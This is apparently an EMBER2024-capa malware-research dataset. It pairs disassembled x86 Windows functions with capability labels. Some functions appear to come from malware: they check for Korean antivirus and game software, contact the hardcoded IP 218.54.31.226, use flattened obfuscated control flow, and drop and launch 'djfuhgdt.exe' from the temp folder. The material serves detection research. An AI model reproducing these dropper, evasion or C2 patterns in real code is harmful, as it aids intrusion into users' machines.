joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415c0b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4228b4]
jne 0x415c15
repz ret
jmp fcn.00418d2a

Function at 0x416008
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004135ce
and dword [ebp - 4], 0
cmp dword [0x423e3c], 0
mov ebx, eax
jne 0x4160b9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41616a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x41616a
push eax
call fcn.0041355c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e3c], eax
call esi
push eax
call fcn.0041355c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e40], eax
call esi
push eax
call fcn.0041355c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e44], eax
call esi
push eax
call fcn.0041355c
pop ecx
mov dword [0x423e4c], eax
test eax, eax
je 0x4160b9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041355c
pop ecx
mov dword [0x423e48], eax
mov eax, dword [0x423e48]
cmp eax, ebx
je 0x416111
cmp dword [0x423e4c], ebx
je 0x416111
push eax
call fcn.004135d7
push dword [0x423e4c]
mov esi, eax
call fcn.004135d7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x416111
test edi, edi
je 0x416111
call esi
test eax, eax
je 0x416108
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x416108
test byte [ebp - 0xc], 1
jne 0x416111
or dword [ebp + 0x10], 0x200000
jmp 0x41614a
mov eax, dword [0x423e40]
cmp eax, ebx
je 0x41614a
push eax
call fcn.004135d7
pop ecx
test eax, eax
je 0x41614a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41614a
mov eax, dword [0x423e44]
cmp eax, ebx
je 0x41614a
push eax
call fcn.004135d7
pop ecx
test eax, eax
je 0x41614a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e3c]
call fcn.004135d7
pop ecx
test eax, eax
je 0x41616a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41616c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a060
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 8]
lea ecx, [eax + 0x2c]
mov dword [esp + 0x14], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0x409db0
mov dword [esp + 4], 0
mov dword [esp], 0
call fcn.004133f3
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0xcdafa02e
jmp 0x40a0e0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov dword [ebp - 0x10], 0xa96ba093
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
cmp eax, 0x752dac3b
jg 0x40a110
cmp eax, 0x5f10d5ad
jg 0x40a120
cmp eax, 0x41336622
jg 0x40a13f
cmp eax, 0x8d579af5
jg 0x40a15e
cmp eax, 0x81236ebf
jne 0x40a0e0
mov dword [ebp - 0x10], 0xfe1bfa42
jmp 0x40a0e0
cmp eax, 0x752dac3c
jne 0x40a0e0
jmp 0x40a0b4
cmp eax, 0x5f10d5ae
jne 0x40a0e0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x10], 0x41336623
jmp 0x40a0e0
cmp eax, 0x41336623
jne 0x40a0e0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x10], 0xd2535ae3
jmp 0x40a0e0
cmp eax, 0xa96ba092
jg 0x40a175
cmp eax, 0x8d579af6
jne 0x40a0e0
jmp 0x40a242
cmp eax, 0xc8fd5215
jg 0x40a19f
cmp eax, 0xa96ba093
jne 0x40a0e0
mov eax, 0x8793aef
cmp dword [ebp - 0xc], 0
jne 0x40a197
mov eax, 0x8d579af6
mov dword [ebp - 0x10], eax
jmp 0x40a0e0
cmp eax, 0x8793aee
jg 0x40a1cb
cmp eax, 0xfe1bfa41
jg 0x40a1e2
cmp eax, 0xcdafa02d
jg 0x40a1f9
cmp eax, 0xc8fd5216
jne 0x40a0e0
mov dword [ebp - 0x10], 0x81236ebf
jmp 0x40a0e0
cmp eax, 0x8793aef
jne 0x40a0e0
mov dword [ebp - 0x10], 0x41336623
jmp 0x40a0e0
cmp eax, 0xfe1bfa42
jne 0x40a0e0
mov dword [ebp - 0x10], 0xa96ba093
jmp 0x40a0e0
cmp eax, 0xcdafa02e
je 0x40a213
cmp eax, 0xcf0a9872
jne 0x40a22b
mov dword [ebp - 0x10], 0x81236ebf
jmp 0x40a0e0
mov eax, 0xcf0a9872
cmp dword [ebp - 4], 0
je 0x40a223
mov eax, 0x752dac3c
mov dword [ebp - 0x10], eax
jmp 0x40a0e0
cmp eax, 0xd2535ae3
jne 0x40a0e0
mov dword [ebp - 0x10], 0x8d579af6
jmp 0x40a0e0
add esp, 0x28
pop ebp
ret
Function at 0x40b760
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x20
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov eax, dword [0x40c3f8]
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], 0xb9b5ff4
jmp 0x40b7b0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], 0x52b15d9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x24]
cmp eax, 0x5b01a8cb
jg 0x40b820
cmp eax, 0xc87e5b77
jg 0x40b830
cmp eax, 0xba317d56
jne 0x40b7b0
mov dword [esp], 0
call fcn.0040b9e0
mov esi, eax
call fcn.00402200
imul eax, esi
mov dword [esp], eax
call fcn.00412e82
mov eax, dword [ebp - 0x18]
movzx esi, word [eax]
mov dword [esp], eax
call fcn.00403790
mov ecx, dword [ebp - 0x18]
movzx edi, word [ecx + eax*2 - 2]
add edi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
add eax, edi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 0x2b92e157
jmp 0x40b7b0
cmp eax, 0x5b01a8cc
jne 0x40b7b0
jmp 0x40b793
cmp eax, 0xccdfa0bb
jg 0x40b847
cmp eax, 0xc87e5b78
jne 0x40b7b0
jmp 0x40b9ca
cmp eax, 0xdc87414f
jg 0x40b872
cmp eax, 0xccdfa0bc
jne 0x40b7b0
mov al, byte [ebp - 9]
test al, al
mov eax, 0x5bac76b
jne 0x40b86a
mov eax, 0xfd0c96b3
mov dword [ebp - 0x24], eax
jmp 0x40b7b0
cmp eax, 0xfd0c96b2
jg 0x40b897
cmp eax, 0xdc874150
jne 0x40b7b0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], 0xc87e5b78
jmp 0x40b7b0
cmp eax, 0x52b15d8
jg 0x40b8b5
cmp eax, 0xfd0c96b3
jne 0x40b7b0
mov dword [ebp - 0x24], 0x52b15d9
jmp 0x40b7b0
cmp eax, 0x2b92e156
jg 0x40b907
cmp eax, 0x273e6e36
jg 0x40b966
cmp eax, 0x1820f375
jg 0x40b97d
cmp eax, 0x52b15d9
je 0x40b994
cmp eax, 0x5bac76b
jne 0x40b9a7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x41d11c], eax
call fcn.00412e5f
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xc87e5b78
jmp 0x40b7b0
cmp eax, 0x2b92e157
jne 0x40b7b0
mov dword [esp], 0
call fcn.0040b9e0
mov esi, eax
call fcn.00402200
imul eax, esi
mov dword [esp], eax
call fcn.00412e82
mov eax, dword [ebp - 0x18]
movzx esi, word [eax]
mov dword [esp], eax
call fcn.00403790
mov ecx, dword [ebp - 0x18]
movzx edi, word [ecx + eax*2 - 2]
add edi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
add eax, edi
mov dword [ebp - 0x1c], eax
cmp eax, dword [ebp - 0x20]
sete byte [ebp - 9]
mov dword [ebp - 0x24], 0xccdfa0bc
jmp 0x40b7b0
cmp eax, 0x273e6e37
jne 0x40b7b0
mov dword [ebp - 0x24], 0x2b92e157
jmp 0x40b7b0
cmp eax, 0x1820f376
jne 0x40b7b0
mov dword [ebp - 0x24], 0xc87e5b78
jmp 0x40b7b0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], 0x1820f376
jmp 0x40b7b0
cmp eax, 0xb9b5ff4
jne 0x40b7b0
mov eax, 0xdc874150
cmp dword [ebp - 0x10], 0
je 0x40b9c2
mov eax, 0x273e6e37
mov dword [ebp - 0x24], eax
jmp 0x40b7b0
mov eax, dword [ebp - 0x14]
add esp, 0x20
pop esi
pop edi
pop ebp
ret
Function at 0x41aeaa
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41d690]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00417d06
mov dword [ebp - 0x14], eax
cmp dword [0x46582c], edi
jne 0x41af9b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x41af28
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41b07b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x41b07b
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41b07b
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x46582c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x465830], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x465834], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x46583c], eax
test eax, eax
je 0x41af98
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x465838], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41afc0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41afb3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x41afd5
push 4
pop eax
jmp 0x41b07d
cmp dword [ebp - 0x14], edi
je 0x41afd5
push dword [0x46582c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41afba
mov eax, dword [0x465838]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41b033
cmp dword [0x46583c], esi
je 0x41b033
push eax
call ebx
push dword [0x46583c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41b033
test eax, eax
je 0x41b033
call ecx
test eax, eax
je 0x41b028
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41b028
test byte [ebp - 8], 1
jne 0x41b033
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x41b063
mov eax, dword [0x465830]
cmp eax, esi
je 0x41b060
push eax
call ebx
test eax, eax
je 0x41b060
call eax
mov edi, eax
test edi, edi
je 0x41b060
mov eax, dword [0x465834]
cmp eax, esi
je 0x41b060
push eax
call ebx
test eax, eax
je 0x41b060
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x46582c]
call ebx
test eax, eax
je 0x41b07b
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x41b07d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00414e09
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
xor esi, esi
call fcn.004082f0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004082f0
add esp, 0x18
lea eax, [ebp - 0x414]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x410], ax
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x41565c
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
mov ecx, 1
push 0x4156b0
push eax
cmovne esi, ecx
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x4010d7
or esi, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x4156bc
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401105
or esi, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x415714
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401136
or esi, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x415774
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401167
or esi, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401198
or esi, 0x400
mov ecx, dword [ebp - 4]
or esi, 0x2000000
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404706
mov esp, ebp
pop ebp
ret
Function at 0x401510
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e4
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x3e
push eax
mov word [ebp - 0x48], ax
lea eax, [ebp - 0x46]
push eax
call fcn.004082f0
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x250], ax
lea eax, [ebp - 0x24e]
push eax
call fcn.004082f0
add esp, 0xc
lea eax, [ebp - 0x250]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x250]
push 0x5c
push eax
call fcn.00405255
mov esi, eax
xor eax, eax
mov word [esi], ax
add esi, 2
push 0x2e
push esi
call fcn.00405255
xor ecx, ecx
mov word [eax], cx
lea ecx, [ebp - 0x48]
add esp, 0x10
sub ecx, esi
jmp 0x4015a0
movzx eax, word [esi]
mov word [ecx + esi], ax
lea esi, [esi + 2]
test ax, ax
jne 0x4015a0
xor ecx, ecx
movzx eax, word [ebp + ecx - 0x48]
mov word [ecx + 0x418f88], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4015b1
push 0x418f88
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x4015f3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404706
mov esp, ebp
pop ebp
ret
push 0x418f88
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x4015e2
lea eax, [ebp - 0x3e0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x419b20
call fcn.00401ea0
test eax, eax
jne 0x4016c0
xor ecx, ecx
mov edi, edi
movzx eax, word [ecx + str.dgudf]
mov word [ecx + 0x419cc8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401630
push 0x4158a0
push 0x40
push 0x419b24
call fcn.0040484b
add esp, 0xc
push str.GTDR
push 0x10
push 0x419ba6
call fcn.0040484b
add esp, 0xc
push 0x4158c8
push 0x40
push 0x419bc6
call fcn.0040484b
mov eax, 0x51
mov word [0x419ba4], ax
mov eax, 0x2b8e
add esp, 0xc
mov word [0x419c46], ax
xor ecx, ecx
lea ebx, [ebx]
movzx eax, word [ecx + str.BHSBDHS]
mov word [ecx + 0x419ca8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4016a0
mov dword [0x419ce8], 5
call fcn.004035fa
mov ecx, 0x4158f4
call fcn.00403683
mov dword [0x419e20], eax
call fcn.00401250
push 0
push 0
push 0
push 0x401450
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00404706
mov esp, ebp
pop ebp
ret
Function at 0x401710
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
call fcn.00403ba2
mov dword [ebp - 0x41c], eax
test eax, eax
jne 0x401839
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.004082f0
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push eax
call fcn.004082f0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x4193a8
mov edi, edi
cmp word [esi], 0
je 0x4017c6
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.0040484b
add esp, 0xc
lea eax, [ebp - 0x418]
push esi
push 0x104
push eax
call fcn.004048a7
add esp, 0xc
add esi, 0x118
cmp esi, 0x419920
jl 0x401790
mov esi, 0x4193a8
lea esp, [esp]
cmp word [esi], 0
je 0x4017f4
push ecx
push edi
mov edx, ebx
mov ecx, esi
call fcn.004043f5
add esp, 8
add esi, 0x118
cmp esi, 0x419920
jl 0x4017e0
push 0x4191a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.004048a7
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x41c]
mov ecx, 2
cmove eax, ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404706
mov esp, ebp
pop ebp
ret
Function at 0x401b00
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x417038]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x418eb8
push 0x67
push edi
call esi
push 0x64
push 0x418df0
push 0x6d
push edi
call esi
mov ecx, edi
call fcn.00401c90
push 0
push edi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x418eb8
push 0x418df0
push 0
mov dword [0x418f80], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401b92
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404706
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
call fcn.00402d66
call fcn.00402210
test eax, eax
je 0x401bc3
call fcn.004033a9
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401510
test eax, eax
je 0x401b7a
call fcn.00401850
mov ecx, dword [0x419e20]
test ecx, ecx
je 0x401bfb
cmp word [0x419e24], 0
jbe 0x401bfb
mov edx, str.218.54.31.226
call fcn.00403963
mov ax, word [0x419e24]
mov word [0x417ef4], ax
xor ecx, ecx
lea ecx, [ecx]
movzx eax, word [ecx + str.djfuhgdt.exe]
mov word [ecx + 0x4191a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401c00
call fcn.004039cb
xor eax, eax
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.004082f0
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x4191a0
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.004048a7
add esp, 0xc
push 0x1f4
call esi
push 1
push 0
push 0x415a80
lea eax, [esp + 0x14]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401f40
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
test edi, edi
je 0x402063
test esi, esi
je 0x402063
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401f70
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x402065
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004082f0
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x401fdf
cmp dword [0x417f08], 3
jne 0x401fdf
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x415aa0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004048a7
add esp, 0xc
jmp 0x401ff1
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004048a7
push 0x415aa4
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x210], 0
call fcn.00404a9e
mov eax, dword [ebp - 0x210]
add esp, 0x18
test eax, eax
je 0x402063
push eax
push 1
push 0x200
push edi
call fcn.00404d70
push dword [ebp - 0x210]
call fcn.00404e88
add esp, 0x14
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404706
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00404706
mov esp, ebp
pop ebp
ret

Function at 0x402120
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
xor edx, edx
jmp 0x402140
not byte [esi + edx]
inc edx
cmp edx, 0x200
jb 0x402140
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.004082f0
add esp, 0xc
mov dword [ebp - 0x214], 0
test esi, esi
je 0x4021f5
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.004048a7
push 0x415ae0
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.00404a9e
mov eax, dword [ebp - 0x214]
add esp, 0x18
test eax, eax
je 0x4021e1
push eax
push 1
push 0x200
push esi
call fcn.00405056
push dword [ebp - 0x214]
call fcn.00404e88
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404706
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00404706
mov esp, ebp
pop ebp
ret
Function at 0x402c00
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.004082f0
add esp, 0xc
lea eax, [ebp - 0x410]
push 0x200
push 0
push eax
call fcn.004082f0
add esp, 0xc
lea ecx, [ebp - 0x410]
call fcn.00402080
test eax, eax
je 0x402d56
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + 0x415c2c]
mov word [ecx + 0x419018], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402c60
xor ecx, ecx
jmp 0x402c80
movzx eax, word [ebp + ecx - 0x38a]
mov word [ecx + 0x419120], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402c80
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ebp + ecx - 0x40c]
mov word [ecx + 0x4190a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402ca0
cmp dword [0x417f08], 3
movzx eax, word [ebp - 0x38c]
mov word [0x419098], ax
movzx eax, word [ebp - 0x2ea]
mov word [0x419010], ax
mov dword [0x41900c], 5
lea eax, [ebp - 0x210]
je 0x402cf8
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402d1d
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x415c60
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.004048a7
add esp, 0xc
push str.golfset.ini
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.004048a7
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404706
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00404706
mov esp, ebp
pop ebp
ret

Function at 0x402d66
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [0x417f08], 0
push esi
mov esi, 0x11c
push esi
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.004082f0
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
pop esi
test eax, eax
je 0x402e01
mov eax, dword [ebp - 0x118]
push 5
pop edx
cmp dword [ebp - 0x11c], edx
jne 0x402dd6
cmp eax, 2
jae 0x402dcb
cmp eax, 1
jne 0x402e01
push 3
pop ecx
mov dword [0x417f08], ecx
jmp 0x402ddc
mov ecx, dword [0x417f08]
cmp dword [ebp - 0x11c], 6
jne 0x402e01
test eax, eax
jne 0x402df5
mov dword [0x417f08], 4
jmp 0x402e01
cmp eax, 1
cmove ecx, edx
mov dword [0x417f08], ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404706
leave
ret